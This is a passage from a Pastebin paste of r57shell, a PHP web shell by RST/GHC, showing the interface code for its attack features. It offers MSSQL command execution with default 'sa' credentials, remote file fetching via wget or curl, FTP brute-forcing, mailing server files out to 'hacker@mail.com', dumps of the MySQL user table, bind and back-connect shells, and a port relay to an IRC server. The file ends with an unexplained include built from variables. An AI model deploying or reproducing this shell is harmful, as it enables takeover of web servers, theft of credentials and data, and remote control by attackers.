  2143. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  2144. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2145. echo $te.'</div>'.$table_end1.$fe;
  2146. }
  2147. if(@ini_get('file_uploads')){
  2148. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  2149. echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts;
  2150. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
  2151. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  2152. echo $te.'</div>'.$table_end1.$fe;
  2153. }
  2154. if(!$safe_mode&&!$windows){
  2155. echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts;
  2156. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  2157. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  2158. echo $te.'</div>'.$table_end1.$fe;
  2159. }
  2160. echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts;
  2161. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  2162. $arh = $lang[$language.'_text92'];
  2163. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  2164. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  2165.  
  2166. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  2167. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
  2168. echo $te.'</div>'.$table_end1.$fe;
  2169. if(@function_exists("ftp_connect")){
  2170. echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2171. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  2172. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  2173. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  2174. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  2175. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  2176. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2177. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  2178. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  2179. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2180. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  2181. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  2182. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  2183. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  2184. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2185. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  2186. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  2187. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  2188. echo $te."</td>".$fe."</tr></div></table>";
  2189. }
  2190. if($unix && @function_exists("ftp_connect")){
  2191. echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts;
  2192. echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2193. echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  2194. echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
  2195. echo $te.'</div>'.$table_end1.$fe;
  2196. }
  2197. if(@function_exists("mail")){
  2198. echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2199. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  2200. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  2201. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  2202. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  2203. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  2204. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2205. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2206. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  2207. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  2208. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  2209. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
  2210. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2211. $arh = $lang[$language.'_text92'];
  2212. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  2213. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  2214. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  2215. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
  2216. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2217. echo $te."</td>".$fe."</tr></div></table>";
  2218. }
  2219. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  2220. {
  2221. $select = '<select name=db>';
  2222. if($mysql_on) $select .= '<option>MySQL</option>';
  2223. if($mssql_on) $select .= '<option>MSSQL</option>';
  2224. if($pg_on) $select .= '<option>PostgreSQL</option>';
  2225. if($ora_on) $select .= '<option>Oracle</option>';
  2226. $select .= '</select>';
  2227. echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2228. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>";
  2229. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2230. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2231. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2232. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2233. echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
  2234. echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1'));
  2235. echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
  2236. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2237. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  2238. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2239. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2240. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2241. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2242. echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  2243. echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  2244. echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1'));
  2245. echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  2246. echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
  2247. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2248. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  2249. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2250. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2251. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2252. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2253. echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  2254. echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  2255. echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
  2256. }
  2257. if(!$safe_mode&&!$windows){
  2258. echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2259. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  2260. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));
  2261. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
  2262. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2263. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  2264. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2265. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  2266. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  2267. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
  2268. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2269. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  2270. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2271. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  2272. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
  2273. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
  2274. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
  2275. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  2276. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  2277. echo $te."</td>".$fe."</tr></div></table>";
  2278. }
  2279. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f;
  2280. include ($a.$b.$c);
  2281. ?>
  2282.  
  2283.  
RAW Paste Data
Pastebin PRO Summer Special!
Get 60% OFF on Pastebin PRO accounts!
Top